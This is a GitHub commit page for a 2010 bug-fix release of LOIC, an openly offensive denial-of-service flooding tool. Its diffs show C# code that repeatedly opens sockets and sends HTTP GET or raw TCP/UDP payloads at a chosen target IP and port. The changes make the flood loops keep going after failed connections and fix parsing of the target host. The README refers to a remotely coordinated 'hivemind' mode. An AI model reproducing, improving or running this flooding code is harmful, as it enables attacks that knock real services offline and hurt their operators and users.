Browse files

Version 1.1.1.12 - Bug fix release

  • Loading branch information...
1 parent 19f8f18 commit 06b43b4c47ce32cee199a45f1945c105deb15b05 @NewEraCracker committed Nov 27, 2010
Showing with 22 additions and 24 deletions.
  1. +5 −2 HTTPFlooder.cs
  2. +1 −1 Properties/AssemblyInfo.cs
  3. +5 −14 README
  4. +7 −4 XXPFlooder.cs
  5. +4 −3 frmMain.cs
View
7 HTTPFlooder.cs
@@ -76,15 +76,18 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
}
- var target = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
+ var RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
LastAction = Tick();
byte[] recvBuf = new byte[64];
var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
State = ReqState.Connecting; // SET STATE TO CONNECTING //
- socket.Connect(target);
+
+ try { socket.Connect(RHost); }
+ catch { continue; }
+
socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //
socket.Send(buf, SocketFlags.None);
View
2 Properties/AssemblyInfo.cs
@@ -13,4 +13,4 @@
[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]
-[assembly: AssemblyVersion("1.1.1.11")]
+[assembly: AssemblyVersion("1.1.1.12")]
View
19 README
@@ -22,21 +22,12 @@ GET THE BINARIES!
Requires Microsoft .NET Framework 3.5 Service Pack 1 available at
http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en
-=========================
-|| HOW TO RUN IN LINUX ||
-=========================
+=================================
+|| HOW TO RUN IN LINUX / MACOSX||
+=================================
-You'll need mono and log4net:
-
-# sudo apt-get install mono liblog4net-cil-dev
-
-Then, build it:
-
-# mdtool build
-
-And run it!
-
-# bin/Debug/LOIC.exe
+Run debug binaries with mono.
+Read wiki at https://github.com/NewEraCracker/LOIC/wiki/ for updated instructions.
==========================
|| HIVEMIND/HIDDEN MODE ||
View
11 XXPFlooder.cs
@@ -14,7 +14,7 @@ public class XXPFlooder
public int Delay { get; set; }
public bool Resp { get; set; }
public string Data { get; set; }
- private bool random;
+ private bool random;
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
@@ -37,13 +37,13 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf;
+ byte[] buf;
if (random == true)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, new Functions().RandomString()));
}
else
- {
+ {
buf = System.Text.Encoding.ASCII.GetBytes(Data);
}
@@ -55,7 +55,10 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.NoDelay = true;
- socket.Connect(RHost);
+
+ try { socket.Connect(RHost); }
+ catch { continue; }
+
socket.Blocking = Resp;
try
{
View
7 frmMain.cs
@@ -59,16 +59,16 @@ private void Attack(bool toggle, bool on, bool silent)
if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
throw new Exception("Select a target.");
- try
+ try //fix sHost
{
if ( sHost.Length > 0 )
{
if (!sHost.Contains("://")) { sHost = "http://" + sHost; }
sHost = new Uri(sHost).Host;
}
else { sHost = sIP; }
- }
- catch (Exception) { sHost = sIP; }
+ }
+ catch (Exception) { sHost = sIP; }
iProtocol = 0;
sMethod = cbMethod.Text;
@@ -149,6 +149,7 @@ private void LockOnIP(bool silent)
return;
}
txtTarget.Text = txtTargetIP.Text;
+ sHost = txtTargetIP.Text;
}
private void LockOnURL(bool silent)
{

0 comments on commit 06b43b4

Please sign in to comment.